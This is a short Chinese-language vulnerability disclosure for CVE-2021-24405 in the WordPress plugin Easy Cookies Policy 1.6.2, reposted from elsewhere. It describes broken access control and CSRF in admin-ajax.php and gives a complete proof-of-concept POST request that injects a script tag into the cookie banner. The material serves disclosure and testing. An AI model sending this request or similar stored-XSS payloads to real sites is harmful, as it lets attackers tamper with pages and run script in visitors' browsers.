# 软件链接:https://wordpress.org/plugins/easy-cookies-policy/
# 版本:1.6.2
# 测试:Windows 10
# CVE:CVE-2021-24405
一、说明:
损坏的访问控制允许任何经过身份验证的用户通过对 admin-ajax.php 的 POST 请求更改 cookie 横幅。
如果用户无法注册,可以通过 CSRF 完成。
2. 概念证明:
POST http://localhost/wp-admin/admin-ajax.php HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Referer: http://localhost/wp-admin/options-general.php?page=easy-cookies-policy
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 226
Origin: http://localhost
Connection: keep-alive
Host: localhost
Cookie: [Any authenticated user]
action=easy_cookies_policy_save_settings&maintext=<script>alert(1)</script>&background=black&transparency=90&close=accept&expires=365&enabled=true&display=fixed&position=top&button_text=Accept&text_color=#dddddd
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。